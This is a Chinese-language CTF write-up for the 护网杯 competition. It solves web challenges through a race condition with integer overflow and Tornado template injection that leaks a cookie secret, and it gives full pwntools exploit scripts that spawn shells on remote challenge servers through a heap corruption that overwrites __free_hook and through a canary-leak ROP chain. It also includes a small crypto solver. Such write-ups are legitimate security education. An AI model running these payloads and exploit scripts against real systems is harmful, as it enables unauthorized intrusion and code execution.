护网杯
很难过这次只有29呜呜呜太菜了
Web :
ltshop (done)
- 条件竞争 + 整型溢出
条件竞争用bp就可以了,只要大于5个能买第二种辣条就行
买的数量*5 <余额
然后就买最大整形/5+1
的数量就ok了
数量 3689348814741910324
easy tornado (done)
http://117.78.27.5:31356/error?msg={{handler.application.settings}}
Whoops, looks like somethings went wrong .
{'login_url': '/login',
'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret':
'>yMI{f<Wz5}2.OpEASou)*KZ7UDm6C$bQq+cNx&9vBnj(gisP@wRV%TtG!rl-Y~H',
'debug': False, 'file_path': '/www/static/files', 'static_path':
'static'}
yMI{f<Wz5}2.OpEASou)*KZ7UDm6C$bQq+cNx&9vBnj(gisP@wRV%TtG!rl-Y~H
http://117.78.27.5:31356/file?filename=/fllllllllllag&signature=b6618c58443e9af2528aeea4028c0c6c
PWN:
task_gettingStart[DONE]
.rodata:0000000000000C10 qword_C10 dq 3FB999999999999Ah ; DATA XREF: main+EE�r
栈结构
__int64 buf; // [sp+10h] [bp-30h]@1 1
__int64 v6; // [sp+18h] [bp-28h]@1 2
__int64 v7; // [sp+20h] [bp-20h]@1 3
__int64 v8; // [sp+28h] [bp-18h]@1 0x7FFFFFFFFFFFFFFFLL
double v9; // [sp+30h] [bp-10h]@1 3FB999999999999Ah
p.sendline(p64(0x1)+p64(0x2)+p64(0x3)+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A))
tesk_shoppingCart[DONE]
第二个函数的edit功能没有检查下标范围
read接受size的时候没有检查0,所以能跳过输入了,从而leak heap和libc
exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./task_shoppingCart')
# bin = ELF('./task_shoppingCart',checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
else:
cn = remote('117.78.27.105', 30403)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
pass
def z(a=''):
if local:
gdb.attach(cn,a)
if a == '':
raw_input()
def add_money(con):
cn.sendlineafter('!','1')
cn.sendlineafter('?',con)
def end_add_mon():
cn.sendlineafter('!','3')
def add_good(con,leng):
cn.sendlineafter('!','1')
cn.sendlineafter('?',str(leng))
cn.sendlineafter('?',con)
def drop_good(idx):
cn.sendlineafter('!','2')
cn.sendlineafter('?',str(idx))
def mod_good1(idx):
cn.sendlineafter('!','3')
cn.sendlineafter('?',str(idx))
def end_good():
cn.sendlineafter('!','4')
for i in range(10):
add_money('mon'+str(i))
end_add_mon()
add_good('asd',5)
add_good('zxc',5)
drop_good(0)
drop_good(1)
add_good('',0)
# z()
mod_good1(2)
cn.recvuntil('modify ')
hleak = u64(cn.recvuntil(' ')[:-1].ljust(8,'\x00'))
success('hleak: '+hex(hleak))
cn.sendline('aaa')
add_good('asd',0x100)
add_good('zxc',5)
drop_good(3)
add_good('',0)
mod_good1(5)
cn.recvuntil('modify ')
d = cn.recvuntil(' ')[:-1]
lbase = u64(d.ljust(8,'\x00'))-0x3c4b20-344
success('lbase: '+hex(lbase))
cn.sendline(d)
pay='/bin/sh\x00'+p64(0)
pay+= p64(lbase +libc.sym['__free_hook'])+p64(0xdead)
add_good(pay,0x100)
haddr=hleak+0x0001d0
mod_good1(-12)
cn.sendline(p64(haddr))
mod_good1(-0x20)
cn.sendline(p64(lbase+libc.sym['system']))
drop_good(6)
cn.interactive()
huwang
read_len可以溢出,当传入的length=0的时候 <--这是在说哪里啊。。
666那个函数如果能猜出md5,再通过name溢出获得canary,就可以在最后那个函数里因为snprintf返回的长度是原本会写入的格式化字符串长度
就可以溢出覆盖返回地址ROP了,md5这里看了半天没啥想法,难道外面那两个功能是有用的
还是说让我爆破?一共有2^12=4096种可能
不能爆破吧,每次猜完都会重新生成
也不行=。=可能性太低了
啊。。。有思路了
同时开4096个socket,再没输入猜测结果之前,不会不会修改/tmp/secret,这样可以开4096个socket,每个socket猜一种情况,肯定能有一个socket猜中
。。。还有这种操作=。=
感谢大黑客的帮助=。=把最后的步骤说一下,也很常规,可以leak 0x401141 函数的canary,因为canary都相同,在0x40101C函数的溢出中就不会被检查出来了
#coding=utf8
from pwn import *
import hashlib
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
if local:
cn = process('./huwang')
bin = ELF('./huwang')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
cn = remote('49.4.9.11',30890)
bin = ELF('./huwang')
libc = ELF('./libc.so.6')
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
cn.sendline('666')
cn.send('a' * 0x19)
cn.recvuntil('Do you want to guess the secret?')
cn.sendline('y')
cn.sendline('1')
cn.send('\x4a\xe7\x13\x36\xe4\x4b\xf9\xbf\x79\xd2\x75\x2e\x23\x48\x18\xa5')
cn.recvuntil('a' * 0x19)
canary = u64(cn.recv(7).rjust(8,'\x00'))
print('canary:' + hex(canary))
cn.send('a' * 0xff)
cn.recvuntil('Do you want to edit you introduce by yourself[Y/N]')
cn.sendline('Y')
prdi = 0x0000000000401573
prsi = 0x0000000000401571
buf = 'a' * 0x108 + p64(canary) + p64(0) + p64(prdi) + p64(0x602F70) + p64(0x400AB8)
buf+= p64(0x401465)
cn.sendline(buf)
cn.recvuntil('The final')
cn.recvline()
lbase = u64(cn.recv(6).ljust(8,'\x00')) - libc.sym['puts']
print('lbase:' + hex(lbase))
cn.sendline('666')
cn.send('a' * 0x19)
cn.recvuntil('Do you want to guess the secret?')
cn.sendline('y')
cn.sendline('1')
cn.send('\xcc\xe6\x3f\x5c\xa8\xa8\xd2\x25\x9c\x97\xe3\x25\x18\x13\x3b\x05')
cn.recvuntil('a' * 0x19)
cn.send('a' * 0xff)
cn.recvuntil('Do you want to edit you introduce by yourself[Y/N]')
cn.sendline('Y')
buf = 'a' * 0x108 + p64(canary) + p64(0) + p64(prdi) + p64(lbase + libc.search('/bin/sh').next())
buf+= p64(lbase + libc.sym['system'])
cn.sendline(buf)
cn.interactive()
Crypto
FEZ [DONE]
DES只有轮密钥
用的同一组密钥加密,按照test的明文和密文按照流程推一遍,容易得到第7轮时的密文和原明文关系,然后flag的密文和明文关系也是一样的,就可以解出
# coding=utf-8
import os
def xor(a,b):
assert len(a)==len(b)
c=""
for i in range(len(a)):
c+=chr(ord(a[i])^ord(b[i]))
return c
def f(x,k):
return xor(xor(x,k),7)
def round(M,K):
L=M[0:27]
R=M[27:54]
new_l=R
new_r=xor(xor(R,L),K)
return new_l+new_r
def fez(m,K):
for i in K:
m=round(m,i)
return m
test_m= '6c34525bcc8c004abbb2815031542849daeade4f774425a6a49e545188f670ce4667df9db0b7ded2a25cdaa6e2a26f0d384d9699988f'
test_c='8cf87cc3c55369255b1c0dd4384092026aea1e37899675de8cd3a097f00a14a772ff135240fd03e77c9da02d7a2bc590fe797cfee990'
flag_c='ec42b9876a716393a8d1776b7e4be84511511ba579404f59956ce6fd12fc6cbfba909c6e5a6ab3e746aec5d31dc62e480009317af1bb'
test_m=test_m.decode('hex')
test_c=test_c.decode('hex')
flag_c=flag_c.decode('hex')
test_L0=test_m[0:27]
test_R0=test_m[27:54]
test_L7=test_c[0:27]
test_R7=test_c[27:54]
flag_L7=flag_c[0:27]
flag_R7=flag_c[27:54]
K_L=xor(test_L7,test_R0)
K_R=xor(xor(test_R7,test_L0),test_R0)
flag_R0=xor(flag_L7,K_L)
flag_L0=xor(xor(flag_R7,K_R),flag_R0)
print flag_L0+flag_R0
Misc&PPC
简单的签到题
base64后xor ord(‘f’)